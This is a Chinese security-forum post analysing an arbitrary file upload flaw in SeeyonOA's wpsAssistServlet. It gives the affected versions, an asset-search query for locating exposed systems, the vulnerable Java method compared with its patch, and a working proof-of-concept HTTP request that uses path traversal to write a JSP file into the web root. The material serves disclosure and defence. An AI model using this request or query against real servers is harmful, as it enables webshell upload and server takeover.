问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
SeeyonOA wpsAssistServlet 任意文件上传漏洞
# SeeyonOA wpsAssistServlet 任意文件上传漏洞 ## 漏洞描述 SeeyonOA wpsAssistServlet接口存在任意文件上传漏洞,攻击者通过漏洞可以发送特定的请求包上传恶意文件,获取服务器权限...
SeeyonOA wpsAssistServlet 任意文件上传漏洞 ================================== 漏洞描述 ---- SeeyonOA wpsAssistServlet接口存在任意文件上传漏洞,攻击者通过漏洞可以发送特定的请求包上传恶意文件,获取服务器权限 漏洞影响 ---- SeeyonOA A6、A8、A8N (V8.0SP2,V8.1,V8.1SP1) SeeyonOA G6、G6N (V8.1、V8.1SP1) 网络测绘 ---- app="Seeyon互联-OA" && title="V8.0SP2" 漏洞复现 ---- 产品主页 ![img](https://shs3.b.qianxin.com/butian_public/f395744f7fc1279fb54e8aef2a4b43b515e008236a8ba.jpg) 下载补丁220706-S004 ,对比修改的文件 ![img](https://shs3.b.qianxin.com/butian_public/f3194890ef73709977f4719386236c1233d809cffd93b.jpg) 主要修改的是 `com.seeyon.ctp.common.wpsassist.manager.WpsAssistManagerImpl.oaSaveFile` 这个方法 ```php private Map<String, Object> oaSaveFile(HttpServletRequest request, Map<String, Object> param) throws Exception { Map<String, Object> result = Maps.newHashMap(); result.put(BusinessKey.OfficeTransResultFlag.getCode(), (Object)null); Long fileId = MapUtils.getLong(param, "fileId"); log.info("wpsAssist SaveFile start!fileId=" + fileId); String newPdfFileId = MapUtils.getString(param, "newPdfFileId"); if (Strings.isNotBlank(newPdfFileId)) { fileId = Long.valueOf(newPdfFileId); } String realFileType = MapUtils.getString(param, "realFileType"); String tempFileIdPathSuffix = SystemEnvironment.getSystemTempFolder() + File.separator + fileId + realFileType; Long count = this.saveFileToPath(request, tempFileIdPathSuffix); result.put(BusinessKey.FileSize.getCode(), count); result.putAll(this.createOfficeTransCacheFile(fileId, tempFileIdPathSuffix, MapUtils.getString(param, "canTransFileType"))); param.put(BusinessKey.OfficeTransResultFlag.getCode(), result.get(BusinessKey.OfficeTransResultFlag.getCode())); this.copyToUploadAndTrans(param); return result; } ``` 向上追溯调用的 oaSaveFile方法的代码 ![img](https://shs3.b.qianxin.com/butian_public/f487545f5b1511c0bb0aa078589dbda181b75e91730ab.jpg) ![img](https://shs3.b.qianxin.com/butian_public/f5586534cf2086ac6095c7629210784fea84bdd5df052.jpg) 在 `com.seeyon.ctp.common.wpsassist.WpsAssistServlet.doPost` 中,flag参数为save时,可以调用文件上传接口 ![img](https://shs3.b.qianxin.com/butian_public/f4013586e965478d55b7f68ae3e1f8e39d23ac720be29.jpg) `C://Seeyon/A6/base/temporary` 为默认上传的位置,但 `realFileType, fileId` 参数可控,可以通过 ../ 遍历上传到任意目录下,验证POC ```php POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/debugggg.jsp&fileId=2 HTTP/1.1 Host: Content-Length: 349 Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b Accept-Encoding: gzip --59229605f98b8cf290a7b8908b34616b Content-Disposition: form-data; name="upload"; filename="123.xls" Content-Type: application/vnd.ms-excel <% out.println("seeyon_vuln");%> --59229605f98b8cf290a7b8908b34616b-- ``` ![img](https://shs3.b.qianxin.com/butian_public/f1438388e6a5413f58ad6d84d8aeb6323da65641365c9.jpg) ![img](https://shs3.b.qianxin.com/butian_public/f8376040245c290b757d1dc0bab97ca511fd4b5afbbd2.jpg)
发表于 2024-07-12 18:44:25
阅读 ( 999 )
分类:
OA产品
0 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
456 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!